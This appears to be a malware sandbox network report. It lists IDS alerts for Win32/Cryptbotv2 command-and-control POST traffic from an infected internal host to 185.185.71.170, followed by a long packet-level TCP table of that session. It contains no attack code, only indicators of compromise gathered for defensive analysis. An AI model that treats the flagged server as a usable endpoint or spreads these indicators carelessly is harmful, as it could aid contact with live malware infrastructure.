Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T20:56:55.775840+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.3	49799	185.185.71.170	80	TCP
2024-12-18T20:56:57.430078+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.3	49806	185.185.71.170	80	TCP
2024-12-18T20:57:06.810383+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.3	49838	185.185.71.170	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 20:56:22.499051094 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:22.499113083 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:22.499191046 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:22.510833979 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:22.510863066 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:24.419773102 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:24.423789024 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:24.423798084 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:24.425837040 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:24.426012039 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:24.435493946 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:24.435616016 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:24.478678942 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:24.478704929 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:24.503603935 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:24.551336050 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:24.829642057 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:24.829749107 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:24.829828978 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:24.840660095 CET	49730	443	192.168.2.3	98.85.100.80
Dec 18, 2024 20:56:24.840682983 CET	443	49730	98.85.100.80	192.168.2.3
Dec 18, 2024 20:56:25.759332895 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:25.879693985 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:25.879848957 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:25.880994081 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.000888109 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.000915051 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.001025915 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.001029015 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.001040936 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.001076937 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.001085997 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.001102924 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.001133919 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.001152039 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.001183033 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.001288891 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.001301050 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.001343012 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.001389027 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.001439095 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.001442909 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.001494884 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.121083021 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.121135950 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.121161938 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.121174097 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.121215105 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.121315002 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.121359110 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.121371984 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.121431112 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.121464014 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.121510983 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.161835909 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.161971092 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.281815052 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.281925917 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.327107906 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.327174902 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.441838026 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.537821054 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.537893057 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.782021046 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.782102108 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.884232998 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.884470940 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.884551048 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:26.901731014 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:26.901834011 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.004249096 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004267931 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004292965 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004304886 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004348993 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004360914 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004379034 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.004390001 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004431009 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.004445076 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.004475117 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004488945 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004523039 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.004538059 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.004632950 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004646063 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004678965 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.004698038 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.004749060 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.004789114 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.005032063 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.005079985 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.005183935 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.005229950 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.005382061 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.005517006 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.005530119 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.005542040 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.005583048 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.005681992 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.005786896 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.005798101 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.006002903 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.006088018 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.006217003 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.006259918 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.006421089 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.006603003 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.006614923 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.006625891 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.007355928 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.021523952 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.021620035 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.061846018 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.061988115 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.124139071 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.124205112 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.124223948 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.124269009 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.124272108 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.124329090 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.124407053 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.124593019 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125013113 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125025988 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125046015 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125161886 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125312090 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125391960 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125629902 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125834942 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125847101 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125859022 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125880957 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.125960112 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.126235962 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.126971006 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.127115965 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.127127886 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.127170086 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.127239943 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.127278090 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.127322912 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.127332926 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.127386093 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.127405882 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.127449036 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.127526045 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.127573013 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.127998114 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128012896 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128025055 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128036022 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128037930 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.128067017 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.128093004 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.128097057 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128112078 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128124952 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128135920 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128142118 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.128150940 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128216982 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128345013 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128427029 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128518105 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128531933 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128632069 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128647089 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128705978 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128771067 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.128890038 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129029989 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129139900 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129708052 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129719973 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129789114 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129806995 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129816055 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129827023 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129838943 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129852057 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129861116 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129883051 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129894972 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129906893 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129920959 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.129991055 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.130089998 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.130212069 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.130342007 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.141204119 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.141216040 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.182007074 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.244102955 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.244113922 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.244329929 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.244338989 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.244684935 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.244828939 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.245147943 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.245225906 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.246984005 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.246998072 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.247113943 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.247289896 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.247364998 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.247380972 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.247745037 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.247756004 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.247942924 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.247952938 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248145103 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248155117 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248357058 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248562098 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248572111 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248580933 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248841047 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248851061 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248858929 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.248867035 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249068022 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249078035 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249085903 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249234915 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249243975 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249388933 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249398947 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249444962 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249682903 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249692917 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249702930 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249882936 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249892950 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249901056 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.249977112 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250169992 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250179052 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250186920 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250327110 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250335932 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250619888 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250629902 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250638962 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250724077 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250838041 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.250881910 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.251028061 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.251084089 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.251185894 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.251195908 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.251238108 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.251247883 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.251400948 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.251463890 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.266792059 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.266868114 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.365056992 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365125895 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365236044 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365246058 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365286112 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365294933 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365427017 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365436077 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365613937 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365623951 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365639925 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365648985 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365842104 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365852118 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365906000 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.365916967 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366041899 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366276979 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366380930 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366389990 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366399050 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366408110 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366445065 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366507053 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366817951 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366827965 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366837978 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366847038 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366856098 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366894960 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.366904974 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367078066 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367088079 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367095947 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367109060 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367214918 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367224932 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367260933 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367332935 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367348909 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367357969 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367679119 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367841005 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367860079 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367868900 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367877960 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367888927 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367897987 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367908001 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367929935 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367939949 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367949009 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367958069 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.367965937 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.368264914 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:27.387612104 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.387634039 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.387691021 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.387813091 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.387826920 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.388737917 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.388748884 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.388814926 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.388824940 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.389893055 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.389954090 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.390036106 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.390081882 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.390090942 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.391107082 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.391266108 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.391275883 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.391290903 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.392324924 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.392379999 CET	80	49736	185.185.71.170	192.168.2.3
